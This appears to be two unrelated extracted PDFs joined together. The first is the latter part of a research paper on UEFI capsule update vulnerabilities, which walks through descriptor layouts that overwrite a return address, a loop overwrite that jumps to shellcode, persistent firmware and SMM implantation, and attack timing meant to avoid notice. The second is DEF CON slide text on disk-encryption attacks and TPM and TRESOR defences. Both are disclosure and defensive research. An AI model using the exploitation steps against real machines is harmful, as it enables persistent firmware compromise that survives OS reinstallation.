then provides the possibility to overwrite the relocated descriptor array.
4.1.4
Coalesce Exploitation Success
The return address for the CopyMem function proved to be a viable target to get control of the instruction
pointer. This was accomplished using the following steps which ultimately allowed for a surgical write-what-
where exploitation primitive. The steps are also depicted visually in Figures 5 through 8.
13
1. DescriptorArray[0] contains a superficial Capsule Header needed for sanity checking purposes and is
copied normally. See Figure 5.
2. DescriptorArray[1] abuses the CopyMem optimization trick and IsOverlapped integer overflow to wrap
DestPtr around the address space. See Figure 6.
3. DescriptorArray[2] overwrites its own Length value, so that DestPtr can be arbitrarily adjusted. See
Figure 7.
4. DescriptorArray[3] overwrites the return address for the CopyMem function. Control is gained here.
See Figure 8.
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
UEFI PEI Code
PEI Stack
Intended Coalescing Space
DescriptorArray[0]
“Poison Capsule Header Block”
Length=100
DataBlock=EFI_CAPSULE_HEADER
Top of RAM
40000000
DestPtr_1 = DestPtr_0 + 100
Relocated DescriptorArray
DescriptorArray[1]
“The Huge Block”
Length=&(Relocated DescriptorArray[2]) – DestPtr_1
DataBlock=DestPtr_One
DescriptorArray[2]
“Self Overwriting Descriptor Block”
Length=4
DataBlock=3E200000
DescriptorArray[3]
“Return Address Overwrite Block”
Length=4
DataBlock=3E100000
ReturnAddress – DestPtr_Two
Shellcode Address
3E200000
3E100000
DescriptorArray[4]
“Total CapsuleSize Padding Block”
Length=FFFFFFD4 - Sum(DescriptorArray[0..4])
DataBlock=Wherever
Figure 5: DescriptorArray[0] contains a superficial Capsule Header needed for sanity checking purposes and is copied
normally.
4.2
Envelope Exploitation
Exploiting the vulnerability in the parsing of envelope of the capsule proved to be challenging as well.
Consider the code in Listing 10 that writes to the underallocated LbaCache bu↵er (Bug 3).
14
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
UEFI PEI Code
PEI Stack
Intended Coalescing Space
DescriptorArray[0]
“Poison Capsule Header Block”
Length=100
DataBlock=EFI_CAPSULE_HEADER
Top of RAM
40000000
Relocated DescriptorArray
DescriptorArray[1]
“The Huge Block”
Length=&(Relocated DescriptorArray[2]) – DestPtr_One
DataBlock=DestPtr_One
DescriptorArray[2]
“Self Overwriting Descriptor Block”
Length=4
DataBlock=3E200000
DescriptorArray[3]
“Return Address Overwrite Block”
Length=4
DataBlock=3E100000
ReturnAddress – DestPtr_Two
Shellcode Address
3E200000
3E100000
DescriptorArray[4]
“Total CapsuleSize Padding Block”
Length=FFFFFFD4 - Sum(DescriptorArray[0..4])
DataBlock=Wherever
DestPtr_2 = &RelocatedDescriptorArray[2]
Figure 6: DescriptorArray[1] abuses the CopyMem optimization trick and IsOverlapped integer overflow to wrap
DestPtr around the address space.
FvbDev->LbaCache = AllocatePool (FvbDev->NumBlocks * sizeof (LBA_CACHE)); <= Bug 3
...
//
// Last, fill in the cache with the linear address of the blocks
//
BlockIndex = 0;
LinearOffset = 0;
for (PtrBlockMapEntry = FwVolHeader->BlockMap;
PtrBlockMapEntry->NumBlocks != 0; PtrBlockMapEntry++) {
for (BlockIndex2 = 0; BlockIndex2 < PtrBlockMapEntry->NumBlocks; BlockIndex2++) {
FvbDev->LbaCache[BlockIndex].Base = LinearOffset;
FvbDev->LbaCache[BlockIndex].Length = PtrBlockMapEntry->Length;
LinearOffset += PtrBlockMapEntry->Length;
BlockIndex++;
}
}
Listing 10: ProduceFVBProtocolOnBu↵er code continued.
Recall that NumBlocks had to be set very large in order to induce the overflow in the LbaCache allocation
(Bug 3). Unfortunately this also means that the above loop will end up corrupting the majority of the address
space and destabilize the system if allowed to run to completion. Another complication is the discovery that
LbaCache was being allocated below the FvbDev structure. This meant that the overwriting loop would
end up corrupting the LbaCache pointer, further complicating the progression of the corruption. This issue
is illustrated in Figure 9. Lastly, note that the corruption occurs via a series of pairs of 4 byte writes. One
of the writes, PtrBlockMapEntry’s Length member, is attacker controlled. However, the other is the write
15
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
UEFI PEI Code
PEI Stack
Intended Coalescing Space
DescriptorArray[0]
“Poison Capsule Header Block”
Length=100
DataBlock=EFI_CAPSULE_HEADER
Top of RAM
40000000
Relocated DescriptorArray
DescriptorArray[1]
“The Huge Block”
Length=&(Relocated DescriptorArray[2]) – DestPtr_One
DataBlock=DestPtr_One
DescriptorArray[2]
“Self Overwriting Descriptor Block”
Overwritten Length=ReturnAddress – DestPtr_2
DataBlock=3E200000
DescriptorArray[3]
“Return Address Overwrite Block”
Length=4
DataBlock=3E100000
ReturnAddress – DestPtr_Two
Shellcode Address
3E200000
3E100000
DescriptorArray[4]
“Total CapsuleSize Padding Block”
Length=FFFFFFD4 - Sum(DescriptorArray[0..4])
DataBlock=Wherever
DestPtr_2 = &RelocatedDescriptorArray[2]
Figure 7: DescriptorArray[2] overwrites its own Length value, so that DestPtr can be arbitrarily adjusted.
of LinearO↵set. LinearO↵set is incremented during every iteration of the loop and thus is only partially
attacker controlled.
The most pressing constraint is the non terminating nature of the corrupting loop. In order to escape the
loop, it was necessary to overwrite the loop code itself. However, as the values being written are not com-
pletely attacker controlled, it was a matter of brute force to determine what values of PtrBlockMapEntry’s
Length member would lead to overwriting the loop code with coherent x86 instructions. Figure 10 shows an
attempt that overwrites the top of the loop’s basic block with x86 instructions that are not advantageous
to an attacker. Figure 11 shows a Length value discovered by our brute force script that leads to attacker
advantageous instructions overwriting the loop code.
4.3
Exploitation From Windows 8
Two conditions are necessary for the exploitation of the vulnerabilities.
• The ability to instantiate the capsule update process.
• The ability to stage arbitrary data at certain physical addresses.
If the attacker already has ring 0 code execution, these conditions are trivially met. The attacker can call
the capsule update Runtime Service directly to meet the first condition. The second condition can be met
via a number of kernel APIs that allow access to physical memory, such as MmAllocateContiguousMemory5,
or via direct page table manipulation.
The attack is also possible from a privileged user in ring 3. The introduction of the userland EFI variable
API in Windows 8 inadvertently exposes the capsule update process to userland. This follows from the fact
5http://msdn.microsoft.com/en-us/library/windows/hardware/ff554460(v=vs.85).aspx
16
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
UEFI PEI Code
PEI Stack
Intended Coalescing Space
DescriptorArray[0]
“Poison Capsule Header Block”
Length=100
DataBlock=EFI_CAPSULE_HEADER
Top of RAM
40000000
Relocated DescriptorArray
DescriptorArray[1]
“The Huge Block”
Length=&(Relocated DescriptorArray[2]) – DestPtr_One
DataBlock=DestPtr_One
DescriptorArray[2]
“Self Overwriting Descriptor Block”
Overwritten Length=ReturnAddress – DestPtr_2
DataBlock=3E200000
DescriptorArray[3]
“Return Address Overwrite Block”
Length=4
DataBlock=3E100000
ReturnAddress – DestPtr_Two
Shellcode Address
3E200000
3E100000
DescriptorArray[4]
“Total CapsuleSize Padding Block”
Length=FFFFFFD4 - Sum(DescriptorArray[0..4])
DataBlock=Wherever
DestPtr_3 = ReturnAddress
Hacked
Figure 8: DescriptorArray[3] overwrites the return address for the CopyMem function. Control is gained here.
that capsule update is automatically initiated by the firmware if the “CapsuleUpdateData” EFI variable
exists during a warm reset of the system.
A privileged userland process also has several ways to surmount the second attack requirement. We do
not assume the attacker needs their own kernel driver signing key. However, given our attack model assumes
a privileged user, such a user is able to install any authenticode signed kernel drivers onto the system.
There exist such drivers that will arbitrarily modify the content of physical memory on a users behalf6.
The technique of using known-vulnerable, but signed, 3rd party drivers to perform exploits or actions on
the attacker’s behalf, has been discussed since Windows Vista’s inception[19] and has been used in the
wild by malware[17]. It is also possible to stage content at known physical memory locations by having a
userland process allocate and write huge amounts of memory just before initiating the platform reset. In the
Capsule Coalesce vulnerabilities, the attacker is able to set the instruction pointer to an arbitrary location.
Thus the attacker can experimentally determine which physical memory is reliably controllable through the
aforementioned allocate and write method, and then stage his payload at this discovered location.
Exploitation of the capsule envelope vulnerability may not be possible from Windows 8 userland. The
majority of consumer platforms we analyzed executed their DXE phase in 64 bit mode. Hence as described
in section 4.2, it is necessary for the attacker to control a contiguous 2 GB part of the address space in
order to induce the underlying integer overflow. We are not aware of any methods by which a userland
attacker could reliably stage a physically contiguous 2GB region. Another complicating factor is the only
semi-controlled nature of the corruption. The attacker is dependent on finding some values that will allow
overwriting the non-terminating loop with attacker advantageous instructions. Typically these instructions
will take the form of jumping or calling to a non-corrupted address. Exploitation of the envelope vulnerability
from userland also dictates that a specific target physical address will need to be attainable from a Windows
8 userland process. This may not be possible depending on the target address, for instance if that physical
6http://rweverything.com/
17
ProduceFVBProtocolOnBuffer Code
ProduceFVBProtocolOnBuffer Stack
FvbDev
00000000
FFFFFFFF
FvbDev->LbaCache
3DE1A890
3DE1A910
3EB18E78
3EBE1E44
???
loc_3EB21E44:
8B 4D FC mov ecx, [ebp+vBlockIndex]
8B 5E 30 mov ebx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
C1 E1 03 shl ecx, 3
89 14 19 mov [ecx+ebx+LBA_CACHE.Base], edx ; LbaCache[i].Base = AttackerValue*i
8B 56 30 mov edx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
8B 58 04 mov ebx, [eax+LBA_CACHE.Length]
89 5C 0A 04 mov [edx+ecx+LBA_CACHE.Length], ebx ; LbaCache[i].Length = AttackerValue
8B 55 F4 mov edx, [ebp+vLinearOffset]
03 50 04 add edx, [eax+4]
FF 45 FC inc [ebp+vBlockIndex]
FF 45 F8 inc [ebp+vBlockIndex2]
8B 4D F8 mov ecx, [ebp+vBlockIndex2]
89 55 F4 mov [ebp+vLinearOffset], edx
3B 08 cmp ecx, [eax]
72 D4 jb short loc_3EB21E44
LbaCache Pointer
Overwritten
Figure 9: The LbaCache pointer is corrupted, further complicating the overwrite.
address is typically allocated to the kernel.
5
Leveraging The Attack
Successful exploitation of these vulnerabilities allows the attacker to gain code execution in the early boot
environment. In this environment, the SPI flash is still necessarily unlocked7. Thus the attacker is able to
make SPI write cycles to the SPI flash, allowing him to permanently persist in the platform firmware. Note
that this means the attackers injections would survive even an operating system reinstallation! In fact, as
shown in [3] it would then be possible for the attacker to persist across firmware update attempts. As it
is the platform firmware that is responsible for instantiating SMM, the attacker is able to arbitrarily inject
code into SMM. Hence our attacker who began his life in ring 3, now has permanent control of SMM.
6
User Experience
Exploiting the capsule update vulnerabilities requires rebooting the system. An attacker wishing to remain
stealthy could schedule the attack to occur when the system is naturally rebooting for patches. After the
reboot has occurred, and the attacker has pivoted control to a firmware injecting shellcode, another reboot
of the system should immediately take place. Because the vulnerabilities take place before graphics have
been initialized, the victim may only notice a longer than usual reboot time.
7The flash must remain unlocked until the flash update code has finished.
18
ProduceFVBProtocolOnBuffer Code
ProduceFVBProtocolOnBuffer Stack
FvbDev
00000000
FFFFFFFF
FvbDev->LbaCache
3DE1A890
3DE1A910
3EB18E78
3EBE1E44
loc_3EB21E44:
B8 8B D9 02 5E mov eax,5E02D98Bh
8B 5E 30 mov ebx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
C1 E1 03 shl ecx, 3
89 14 19 mov [ecx+ebx+LBA_CACHE.Base], edx ; LbaCache[i].Base = AttackerValue*i
8B 56 30 mov edx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
8B 58 04 mov ebx, [eax+LBA_CACHE.Length]
89 5C 0A 04 mov [edx+ecx+LBA_CACHE.Length], ebx ; *(DWORD *)3EB21E44 = AttackerValue
8B 55 F4 mov edx, [ebp+vLinearOffset]
03 50 04 add edx, [eax+4]
FF 45 FC inc [ebp+vBlockIndex]
FF 45 F8 inc [ebp+vBlockIndex2]
8B 4D F8 mov ecx, [ebp+vBlockIndex2]
89 55 F4 mov [ebp+vLinearOffset], edx
3B 08 cmp ecx, [eax]
72 D4 jb short loc_3EB21E44
We are now
corrupting the loop
code itself..
AttackerValue = 2D98BB8.
Overwrites top of loop code on iteration=38E
*(DWORD *)3EB21E44 = AttackerValue (B8 8B D9 02) [endianness]
Figure 10: Loop code overwritten with useless instructions.
7
A↵ected Systems
Determining which vendors were a↵ected was a non-trivial problem. Theoretically the UEFI open source
reference implementation should be widely utilized by both OEMs and Independent BIOS Vendors (IBVs).
Thus the capsule update vulnerabilities should be widespread. In practice there is large variance to the
degree that OEMs/IBVs utilize the reference implementation. This problem is further described by [16],
which points out that firmware implementations vary widely even within the same OEM. Due to this, it is
necessary to consider the exploitability of systems on a case by case basis. Before we can begin with a case
study, analysis techniques that help determine exploitability are introduced.
7.1
OEM Firmware Instrumentation
As mentioned in Section 4, the lack of debugging capability for firmware level code is a significant hurdle.
Without debugging capability, the vulnerability of a particular system must be determined using only static
analysis. Given the complexity of UEFI and its tendency for indirect calling, this approach proved difficult.
To work around this limitation, we used QEMU to instrument the OEM firmware using the following steps.
• The OEM Firmware was dissected into its individual EFI executables using EFIPWN8.
• The EFI executables responsible for Capsule Coalescing (PEI Phase) and Capsule Processing (DXE
Phase) were identified using Guid matching and bindi↵9.
- Capsule coalescing code was usually located in CapsulePEI.
- Capsule processing code was usually located in DXECORE.
8https://github.com/G33KatWork/EFIPWN
9http://www.zynamics.com/bindiff.html
19
ProduceFVBProtocolOnBuffer Code
ProduceFVBProtocolOnBuffer Stack
FvbDev
00000000
FFFFFFFF
FvbDev->LbaCache
3DE1A890
3DE1A910
3EB18E78
3EBE1E44
loc_3EB21E44:
E9 14 BF 8C D9 jmp 183EDD5Dh
2D 5E 30 mov ebx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
C1 E1 03 shl ecx, 3
89 14 19 mov [ecx+ebx+LBA_CACHE.Base], edx ; *(DWORD *)3EB21E42 = AttackerValue*i
8B 56 30 mov edx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
8B 58 04 mov ebx, [eax+LBA_CACHE.Length]
89 5C 0A 04 mov [edx+ecx+LBA_CACHE.Length], ebx ; *(DWORD *)3EB21E46 = AttackerValue
8B 55 F4 mov edx, [ebp+vLinearOffset]
03 50 04 add edx, [eax+4]
FF 45 FC inc [ebp+vBlockIndex]
FF 45 F8 inc [ebp+vBlockIndex2]
8B 4D F8 mov ecx, [ebp+vBlockIndex2]
89 55 F4 mov [ebp+vLinearOffset], edx
3B 08 cmp ecx, [eax]
72 D4 jb short loc_3EB21E44
Shellcode
183EDD5D
AttackerValue = 2D98CBF.
Overwrites top of loop code on iteration=BB
*(DWORD *)3EB21E42 = (AttackerValue * 0xBB) % 0x100000000
= 14E9CF8F
= 85 CF E9 14 [endianness]
*(DWORD *)3EB21E46 = BF 8C D9 02 [endianness]
Figure 11: Loop code overwritten with jump to shellcode.
• The relevant binary modules were then inserted into the UEFI Open Virtual Machine Firmware[1]10
• Because OVMF does not have built in support for capsule update, the PlatformPeim module provided
by OVMF was modified to call the capsule update interface exported by the OEM’s binary module.
• QEMU was then used to boot the modified OVMF firmware.
• Debugging of the OEM capsule binary modules was now possible via QEMU’s gdb stub.
7.2
HP EliteBook 2540p F23 Case Study
As an example of determining the vulnerability of a specific OEM system, we consider the capsule coalescing
routine of the HP EliteBook 2540p at BIOS (UEFI) revision F23. We discovered the capsule coalescing code
to be very similar to the code described in Listing 4, with the following relevant di↵erences.
• CapsuleSize + 8 is compared to MemorySize, as opposed to CapsuleSize + DescriptorSize. Hence Bug
1 is present in a di↵erent form.
• An additional sanity check is made that for each entry in the descriptor array, descriptor.DataBlock
+ descriptor.Length does not integer overflow11.
• EDK1 style descriptors are used, which include a 4 byte signature and a checksum.12 The DataBlock
and Length fields are identical.
10OVMF is an open source virtual machine firmware included in the UEFI open source reference implementation.
11An important sanity check that the reference implementation lacked
12Neither of these 2 additional fields matters in practice
20
To demonstrate the vulnerability of the 2540p, we built a descriptor list that explicitly instantiated Bug
213 and Bug 414. Both of these bugs were present in the 2540p. Consider the matryoshka style descriptor
array configuration outlined by Figure 12. In this configuration, the sum of the descriptor length values will
overflow the 32 bit CapsuleSize integer, and hence pass the sanity comparison with MemorySize. Also note
that although it is sanity checked that Descriptor[0].Length + Descriptor[0].DataBlock does not overflow, it
is still possible that DestPtr + Descriptor[0].Length will overflow. This is in fact the case since we explicitly
set Descriptor[0] to be low in memory and have a huge length size, and DestPtr is always high in the address
space due to the coalescing function design. Hence we can abuse Bug 4 in the IsOverlapped check to proceed
with the block copy operation of Descriptor[0]. This copy will corrupt the address space and allow the
attacker to hijack control of the update operation.15
00000000
FFFFFFFF
UEFI PEI Code
PEI Stack
Descriptor[0]
“Matryoshka Layer 1”
Length=C0000000-&DescriptorArray[0].DataBlock
DataBlock=2000000
Descriptor[1]
“Matryoshka Layer 2”
Length=100-DescriptorArray[0].Length
DataBlock=2000000
C0000000
Intended Coalescing Space
02000000
Descriptor[1]
Descriptor[0]
C0000000 - 100
Figure 12: The Matryoshka descriptor configuration. Sum of length values overflows 32 bit Integer.
7.3
General Observations Regarding A↵ected Systems
We believe the vulnerabilities presented in this paper to be widespread among UEFI systems. However, it
is difficult to determine the exact pervasiveness of the vulnerabilities due to the need to evaluate firmware
implementations on a case by case basis. Some variant of the capsule coalescing vulnerability was present in
the majority of systems we evaluated with static analysis. Interestingly, although the OEM coalescing code
often demonstrated variations from the reference implementation code, the ProduceFVBProtocolOnBu↵er
code appeared to be identically copied in all of the systems we looked at. Thus the code associated with
bug 316 was present on all of the UEFI implementations we analyzed. However, as we did not have debug
access, or even physical access17 to many systems we evaluated, it is impossible to produce a complete list
of a↵ected systems without self-reporting by the vendors. For instance, although the vulnerable code may
be present, it may be vestigial and not actually utilized during the update process.
8
Vendor Response
Intel and CERT were notified of the envelope parsing vulnerability on November 22nd 2013, and of the
coalescing vulnerabilities on December 4th 2014. Intel then reached out to IBVs and OEMs to attempt to
13Integer overflow in capsule length summation
14Integer overflow in IsOverlapped check
15In the case of the Elitebook 2540p, 4GB RAM is standard so there is no dead space in the address space as had to be
overcome on the MinnowBoard.
16Integer overflow in LbaCache allocation
17We just downloaded the firmware images from the OEM websites.
21
discern if they were a↵ected. Information about which vendors are a↵ected and what systems should be
patched is conveyed in CERT VU #552286. The disclosure of these vulnerabilities ultimately led to the
formation of a UEFI Security Response Team. The vulnerabilities were patched in the UDK2014 reference
implementation release[10].
9
Recommendations
The authors have several recommendations regarding locking down the UEFI capsule update interface and
the Runtime Interface as a whole.
• The UEFI Reference Implementation should be more thoroughly audited. The existence of easy to
find integer overflows in security critical code is disturbing.
• Capsule coalescing seems unnecessary on modern system’s with plentiful RAM as firmware capsules are
usually under 16 MB. Instead the firmware capsule could assumed to be already contiguous in memory.
This would eliminate much of the complicated and buggy code from the firmware update process. If
memory constraints are a valid concern 18, the firmware update process could be instantiated from a
boot loader.
• The decision to expose the Variable portion of the Runtime Services to userland in Windows 8 should be
more closely evaluated from a security standpoint. On the one hand, this decision minimizes the amount
of code that needs to be loaded into the kernel, as now userland processes can perform important system
configuration. On the other hand, userland access to these variables opens up additional attack surface
that is accessible from ring 3.
• An option for a physical presence test should be added to the firmware update process19. Although
many organizations will opt out of this option so that they can remotely update firmware without user
interaction, organizations with a greater security focus could opt in to this requirement.
10
Related Work
Invisible Things Lab presented the first memory corruption attack against a BIOS update[20].
In their
attack, an integer overflow in the rendering of a customizable bootup splash screen was exploited to gain
control over the boot up process before the BIOS locks were set. This allowed the BIOS to be reflashed with
arbitrary contents. The authors of this paper have also presented an attack against the coalescing operation
of some Dell legacy BIOSes[15].
11
Conclusion
In this paper we have demonstrated that although UEFI provides additional security features, it has also
provided additional attack surface that may be exploited. Furthermore, some of this attack surface is exposed
to Windows 8 userland processes by the Windows 8 firmware environment variable API. Despite increased
focus on protecting the integrity of the platform, vulnerabilities introduced by UEFI may allow an attacker
to compromise the platform firmware and attain permanent control of SMM. Although the authors believe
that UEFI is ultimately a step in the right direction towards securing the platform, more work needs to be
done on evaluating the security of the features it provides.
12
Acknowledgments
TODO
18Such as on an embedded system
19Toggled perhaps through the BIOS configuration screen
22
References
[1] How to build OVMF.
http://sourceforge.net/apps/mediawiki/tianocore/index.php?title=
How_to_build_OVMF. Accessed: 06/13/2014.
[2] MinnowBoard. http://www.minnowboard.org. Accessed: 06/13/2014.
[3] J. Butterworth, C. Kallenberg, and X. Kovah. Bios chronomancy: Fixing the core root of trust for
measurement. In BlackHat, Las Vegas, USA, 2013.
[4] CERT. VU #758382. http://www.kb.cert.org/vuls/id/758382. Accessed: 06/13/2014.
[5] Intel Corporation. Intel I/O Controller Hub 9 (ICH9) Family Datasheet. http://www.intel.com/
content/www/us/en/io/io-controller-hub-9-datasheet.html. Accessed: 10/01/2013.
[6] Intel Corporation.
Intel Platform Innovation Framework for EFI Driver Execution Environ-
ment Core Interface Specification.
http://www.intel.com/content/dam/doc/reference-guide/
efi-dxe-cis-v091.pdf. Accessed: 06/13/2014.
[7] Intel Corporation. Intel Platform Innovation Framework for EFI Pre-EFI Initialization Core Interface
Specification. http://www.intel.com/content/dam/doc/reference-guide/efi-pei-cis-v091.pdf.
Accessed: 06/13/2014.
[8] Intel Corporation. TianoCore. http://sourceforge.net/apps/mediawiki/tianocore/index.php?
title=Welcome. Accessed: 06/13/2014.
[9] Intel Corporation.
UEFI Development Kit 2010.
http://sourceforge.net/apps/mediawiki/
tianocore/index.php?title=UDK2010. Accessed: 06/13/2014.
[10] Intel Corporation. UEFI Development Kit 2010. http://sourceforge.net/projects/edk2/files/
UDK2014_Releases/UDK2014/. Accessed: 06/13/2014.
[11] Microsoft Corporation.
MSDN SetFirmwareEnvironmentVariable.
http://msdn.microsoft.com/
en-us/library/windows/hardware/ms724934(v=vs.85).aspx. Accessed: 06/13/2014.
[12] j00ru.
Defeating Windows Driver Signature Enforcement #1:
default drivers.
http://j00ru.
vexillium.org/?p=1169. Accessed: 06/13/2014.
[13] j00ru. Defeating Windows Driver Signature Enforcement #2: CSRSS and thread desktops. http:
//j00ru.vexillium.org/?p=1393. Accessed: 06/13/2014.
[14] j00ru. Defeating Windows Driver Signature Enforcement #3: The Ultimate Encounter. http://j00ru.
vexillium.org/?p=1455. Accessed: 06/13/2014.
[15] C. Kallenberg, J. Butterworth, X. Kovah, and C. Cornwell. Defeating Signed BIOS Enforcement. In
EkoParty, Buenos Aires, 2013.
[16] C. Kallenberg, C. Cornwell, X. Kovah, and J. Butterworth. Setup For Failure: More Ways to Defeat
SecureBoot. In Hack In The Box Amsterdam, Amsterdam, 2014.
[17] MN.
Analysis of Uroburos, using WinDbg.
https://blog.gdatasoftware.com/blog/article/
analysis-of-uroburos-using-windbg.html. Accessed: 06/16/2014.
[18] Phoenix. Efi Runtime Services. http://wiki.phoenix.com/wiki/index.php/EFI_RUNTIME_SERVICES.
Accessed: 06/13/2014.
[19] J. Rutkowska and A. Tereshkin. IsGameOver() Anyone? In BlackHat, Las Vegas, USA, 2007.
[20] R. Wojtczuk and A. Tereshkin. Attacking Intel BIOS. In BlackHat, Las Vegas, USA, 2009.
23 | pdf |
A Password is Not Enough
Why disk encryption is broken and how we might fix it
Daniel Selifonov
DEF CON 21
2013-08-02
Five Questions
● Do you encrypt the drive in your computer?
● Using something like TrueCrypt, dmcrypt,
loop-aes?
● Do you always cold shutdown when leaving
your computer unattended?
● Have you ever left your computer unattended
for more than a few hours?
● How about more than a few minutes?
Why do we encrypt?
● Confidentiality and Integrity
● Secrecy, privacy, and the power to
determine what happens to personal and
business data
● Legal liability
● Access control in the face of physical
access
● Trustworthiness of our endpoints
Armor, Sieves, and Rubber Hoses
● Cryptography is not the
weakest link
– Random number generation
– Block cipher modes of
operation
– Key derivation from
passwords
● Many open source
implementations
● The side channels:
– Attack the apparatus
– Attack the user
http://en.wikipedia.org/wiki/File:Bush_mission_accomplished.jpg
Mismatched Objectives
● Disk encryption threat
models versus de facto
use:
– “[TrueCrypt does not]
secure any data on a
computer if an attacker
has physical access to
the computer before or
while TrueCrypt is
running on it.”
http://www.truecrypt.org/docs/security-model
From the Horse's Mouth
●
TrueCrypt: We generally disregard "janitor" attacks since they inherently
make the machine untrusted. We never consider the feasibility of
hardware attacks; we simply have to assume the worst. After an attacker
has "worked" with your hardware, you have to stop using it for sensitive
data. It is impossible for TPM to prevent hardware attacks (for example,
using hardware key loggers, which are readily available to average Joe
users in computer shops, etc.)
●
Joanna Rutkowska: And how can you determine that the attacker have
or have not "worked" with your hardware? Do you carry your laptop with
you all the time?
●
TC: Given the scope of our product, how the user ensures physical
security is not our problem. Anyway, to answer your question (as a side
note), you could use e.g. a proper safety case with a proper lock (or,
when you cannot have it with you, store it in a good strongbox).
●
JR: If I could arrange for a proper lock or an impenetrable strongbox,
then why in the world should I need encryption?
http://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-after-truecrypt.html
FDE Boot Process
SSD/
HDD
Storage
Controller
USB
Firewire
ThunderBolt
ExpressCard
Network
Adapter
PCI
Bus
LPC
Bus
TPM
Keyboard
GPU
User
Platform
Controller
Hub
CPU+
Memory
Controller
RAM
“hunter2”
Three Attack Tiers
Non-Invasive
Screwdriver
Soldering Iron
Compromised Bootloader
RAM
CPU+
Memory
Controller
GPU
Platform
Controller
Hub
SSD/
HDD
Storage
Controller
USB
Firewire
ThunderBolt
ExpressCard
LPC
Bus
Keyboard
TPM
User
Network
Adapter
PCI
Bus
“hunter2”
“hunter2”
Compromised Operating System
RAM
CPU+
Memory
Controller
GPU
Platform
Controller
Hub
SSD/
HDD
Storage
Controller
USB
Firewire
ThunderBolt
ExpressCard
LPC
Bus
Keyboard
TPM
User
Network
Adapter
PCI
Bus
Key Logger/Shoulder Surfing
RAM
CPU+
Memory
Controller
GPU
Platform
Controller
Hub
SSD/
HDD
Storage
Controller
USB
Firewire
ThunderBolt
ExpressCard
LPC
Bus
Keyboard
TPM
User
Network
Adapter
PCI
Bus
“hunter2”
“hunter2”
Direct Memory Access
RAM
CPU+
Memory
Controller
GPU
Platform
Controller
Hub
SSD/
HDD
Storage
Controller
USB
Firewire
ThunderBolt
ExpressCard
LPC
Bus
Keyboard
TPM
User
Network
Adapter
PCI
Bus
DMA
Cold Boot Attack
RAM
CPU+
Memory
Controller
GPU
Platform
Controller
Hub
SSD/
HDD
Storage
Controller
USB
Firewire
ThunderBolt
ExpressCard
LPC
Bus
Keyboard
TPM
User
Network
Adapter
PCI
Bus
What's in a CPU anyway?
Execution
Units
L1 Instruction Cache
L2 Cache
L1 Data Cache
Registers
MMU
Bus
Interface
x86-64 as “hardware crypto module”
● AES-NI (2010): hardware instructions for AES
● No known method of fixing cache lines
● Registers as key storage?
– Machine State Registers (loop-amnesia)
– SSE (AESSE)
– DRx hardware debugging registers (TRESOR)
● Bonus: registers zeroed on ACPI S3 sleep
AES in x86-64 debug registers
● DRx not used in typical OS/software operation
● 6 registers
– DR0-DR3 = 64-bit breakpoint addresses
– DR6-DR7 = behavior/control/signal flags
– 256-bits of key storage
● Use SSE registers as scratch for key schedule expansion
● First implemented by Tilo Müller as TRESOR for Linux in
2011
http://www1.informatik.uni-erlangen.de/tresorfiles/tresor.pdf
RAM still vulnerable
● Hostile DMA could alter OS to dump DRx
● Is there a way to restrict hostile DMA transfer?
– IOMMU technology in the memory controller
– Intel VT-d, AMD Vi
● Use IOMMU to protect “OS”
● TreVisor implements TRESOR on BitVisor
– Transparent encrypting hypervisor for a single guest
http://www1.cs.fau.de/filepool/projects/trevisor/trevisor.pdf
Other sensitive data in RAM
● Active files are cached in RAM
● SSH/PGP keys, password manager DBs
● Encrypt everything you don't want to leak
● Self-encrypting drives are insufficient
● Can we encrypt RAM?
Encrypting RAM
●
CryptKeeper proof of concept by Peter Peterson
– Divided RAM into small “clear” and larger “crypt”
– Data moved using ordinary Linux paging facilities
– 10x-50x slower in synthetic benchmarks
– ~10% slower in “typical use” benchmark
– “Crypt” key stored in “clear”
– Author considered use of hardware crypto module
Cryptkeeper: Improving Security With Encrypted RAM, 2010
http://ieeexplore.ieee.org/xpl/articleDetails.jsp?
arnumber=5655081
Verifying Computer Integrity
●
User must be able to determine if their computer is pristine or
tampered before authenticating themselves
●
Trusted Platform Module can be leveraged for measured boot
– Data can be sealed to values of “platform configuration
registers”
– “Extend” PCRs with stage measurements
● Extend(x, payload) → PCR[x] = SHA1(PCR[x] + SHA1(payload))
– SRTM: ROM extends with BIOS, BIOS extends with bootloader,
bootloader extends with kernel/initrd, etc.
– DRTM: Under IOMMU protection load/execute a payload
●
Seal secrets (cryptographic or otherwise) to enable verifying the
computer by the user
“Secure I/O” Low Pin Count Bus
Trusted Platform Module
RSA/SHA1
Crypto
Units
Random
Number
Generator
Permanent/
Endorsement/
Storage Root
RSA Keys
User Non-
Migratable
RSA Keys
User
Migratable
RSA Keys
Tick
Counter
Monotonic
Counters
PCR
Sealed
Data
General
Purpose
NVRAM
EEPROM
Platform
Configuration
Registers
TPM Sealed Secrets
● Seeds for TOTP or HOTP tokens
● Recognizable and unique image/animation
● A part of the input to a key derivation function for the
disk key
● By tying the disk key to the TPM, we can effectively
dictate system boot policy
TPM Facilitated System Boot Policy
● Cloning the disk is of limited benefit/disk only accessible in origin computer
● Monotonic counters can be compared between on-disk and TPM NVRAM
values
● Policy parameters defined by the user, e.g.:
– Limit number of incomplete boots
– Password entry timeout
– Limit number of incorrect passwords entered
– Limit time between last shutdown and
subsequent boots
– Entry of duress code
● Policy violations could be enforced brutally
– Issue a TPM owner clear on violation
http://en.wikipedia.org/wiki/File:Burn-Bag.jpg
TPM vs Hardware Attacks
http://flylogic.net/chippics/st16601/st16601op_large.jpg
“Phalanx” Toolset
● 1) Patch to Xen hypervisor
– Implements TRESOR variant
– DR2/DR3 still available to VMs
– DR0/DR1 used as “master” AES-128 key
– Xen dom0 can “load key” to DR0/DR1
– DR2/DR3 values encrypted with master key on
guest context switch
“Phalanx” Toolset
● 2) Patches to Linux kernel
– Modified TRESOR to work on AES-128 in
DR2/DR3 only
– Modified zRAM using TRESOR to encrypt pages
after compression
